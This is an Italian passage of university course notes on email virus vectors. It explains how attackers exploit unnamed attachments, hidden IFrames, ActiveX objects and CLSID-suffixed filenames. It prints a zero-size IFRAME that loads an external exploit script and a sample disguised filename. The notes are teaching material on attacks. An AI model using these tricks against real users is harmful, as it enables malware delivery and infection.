Vulnerabilità

Sebbene il social engineering sia oggi uno dei metodi principali, probabilmente il più diffuso, per tentare di ottenere una rapida diffusione di codice virale, una larga parte dei virus e dei trojan oggi in circolazione tenta invece di sfruttare vulnerabilità note in vari prodotti software di uso comune.

No attachment name

Molti (semplici) filtri e-mail effettuano un controllo sull’estensione dei file allegati. È così possibile evitare di ricevere (ad esempio) i precedentemente citati file HTA. Ma se un allegato non ha un nome e viene specificato solo il tipo cosa succede? Alcuni client ricostruiscono automaticamente un nome tipo ATT0001.HTA per l’allegato in questione. E questo avviene dopo che il messaggio è già stato filtrato, ossia sul client dell’utente finale.

IFrame

Anche questo exploit è basato su una vulnerabilità nota di alcuni client che supportano le HTML mail. È infatti possibile inserire nella parte HTML della mail un IFrame:

<IFRAME src=http://www.mywebsite.com/exploit.jswidth=0 height=0></IFRAME>

Gli IFrame sono frame che occupano posizione e hanno dimensioni assolute all’interno dell’HTML e che possono caricare contenuti esterni. Quindi possono caricare (ed eseguire) ad esempio un JavaScript da un sito esterno.

ActiveX

Sempre utilizzando gli IFrame oppure usando oggetti embedded nella parte HTML della mail è possibile inserire piccoli programmi in formato ActiveX che vengono eseguiti direttamente dalla finestra di visualizzazione (che di solito è un sublcassing di Internet Explorer) senza bisogno di instanziare un processo esterno. Le versioni più recenti di Internet Explorer infatti vietano l’esecuzione di oggetti ActiveX all’interno delle e-mail e anche all’interno delle pagine web se si impostano le restrizioni di sicurezza sul livello alto.

CLSID

Questo tipo di vulnerabilità viene sfruttata mediante l’aggiunta di un CLSID in fondo al nome di un allegato altrimenti sicuro. Un CLSID è un identificativo mediante il quale Windows riconosce e associa una serie di privilegi e di azioni di esecuzione ad un determinato tipo di file o di oggetto. I CLSID hanno una struttura paragonabile a quella degli ID univoci (ad esempio: {3050f4d8-98b5-11cf-bb82-00aa00bdce0b}. In questo modo potremo dare ad un pezzo di codice pericoloso un nome sicuro, tipo “fito.gif” e poi aggiungere il CLSID ottenendo foto.gif.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}. Nei sistemi vulnerabili a questo tipo di attacco il CLSID non viene visualizzato ma il file in questione è un pericoloso eseguibile.

Fonte: Appunti del corso universitario: "Sistemi Operativi Sicuri", Paolo Bettini